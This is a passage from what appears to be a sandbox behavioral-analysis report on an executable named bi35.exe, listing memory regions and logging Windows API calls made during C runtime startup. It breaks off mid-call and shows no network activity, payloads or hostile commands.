0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2267 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2268 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2269 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2270 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2271 start_va = 0x29b0000 end_va = 0x29b3fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2272 start_va = 0x29c0000 end_va = 0x29c3fff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2273 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2274 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2275 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2276 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2277 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2278 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2279 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2280 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2281 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2282 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2283 start_va = 0x29c0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2284 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2285 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2286 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2287 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2288 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2289 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2290 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2291 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2292 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2293 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2294 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2295 start_va = 0x29b0000 end_va = 0x29d9fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2296 start_va = 0x29e0000 end_va = 0x2a09fff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 2297 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2298 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2299 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2300 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2301 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2302 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2303 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2304 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2305 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2306 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2307 start_va = 0x29c0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2308 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2309 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2310 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2311 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2312 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2313 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2314 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2315 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2316 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2317 start_va = 0x29c0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2318 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2319 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2320 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2321 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2322 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2323 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2324 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2325 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2326 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2327 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2328 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2329 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2330 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2331 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2332 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2333 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2334 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2335 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2336 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2337 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2338 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2339 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2340 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2341 start_va = 0x29b0000 end_va = 0x29bbfff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2342 start_va = 0x29c0000 end_va = 0x29cbfff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2343 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2344 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2345 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2346 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2347 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2348 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2349 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2350 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2351 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2352 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2353 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2354 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2355 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2356 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2357 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2358 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2359 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2360 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2361 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2362 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2363 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2364 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2365 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2366 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2367 start_va = 0x29b0000 end_va = 0x29bbfff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2368 start_va = 0x29c0000 end_va = 0x29cbfff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2369 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2370 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2371 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2372 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2373 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2374 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2375 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2376 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 2377 start_va = 0x28a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2378 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2379 start_va = 0x29c0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Thread: id = 1 os_tid = 0xad4 [0029.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x6356ed6d, dwHighDateTime=0x1d396ce)) [0029.322] GetCurrentProcessId () returned 0x478 [0029.322] GetCurrentThreadId () returned 0xad4 [0029.322] GetTickCount () returned 0x19eea [0029.322] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=374239681) returned 1 [0029.322] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0029.322] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0029.324] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76bc0000 [0029.325] GetProcAddress (hModule=0x76bc0000, lpProcName="FlsAlloc") returned 0x76bda330 [0029.325] GetProcAddress (hModule=0x76bc0000, lpProcName="FlsGetValue") returned 0x76bd7580 [0029.325] GetProcAddress (hModule=0x76bc0000, lpProcName="FlsSetValue") returned 0x76bd9910 [0029.325] GetProcAddress (hModule=0x76bc0000, lpProcName="FlsFree") returned 0x76bdf400 [0029.326] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76bc0000 [0029.326] GetCurrentThreadId () returned 0xad4 [0029.326] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0029.326] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0029.326] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0029.326] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0029.326] SetHandleCount (uNumber=0x20) returned 0x20 [0029.326] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe\" " [0029.326] GetEnvironmentStringsW () returned 0x542dd0* [0029.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1331 [0029.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x1f00fd0, cbMultiByte=1331, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1331 [0029.326] FreeEnvironmentStringsW (penv=0x542dd0) returned 1 [0029.326] GetLastError () returned 0xcb [0029.326] SetLastError (dwErrCode=0xcb) [0029.326] GetLastError () returned 0xcb [0029.326] SetLastError (dwErrCode=0xcb) [0029.326] GetLastError () returned 0xcb [0029.326] SetLastError (dwErrCode=0xcb) [0029.326] GetACP () returned 0x4e4 [0029.326] GetLastError () returned 0xcb [0029.326] SetLastError (dwErrCode=0xcb) [0029.326] IsValidCodePage (CodePage=0x4e4) returned 1 [0029.326] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0029.326] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0029.326] GetLastError () returned 0xcb [0029.326] SetLastError (dwErrCode=0xcb) [0029.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā") returned 256 [0029.327] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0029.327] GetLastError () returned 0xcb [0029.327] SetLastError (dwErrCode=0xcb) [0029.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.327] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0029.327] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0029.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĽÆu\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0029.327] GetLastError () returned 0xcb [0029.327] SetLastError (dwErrCode=0xcb) [0029.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.327] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 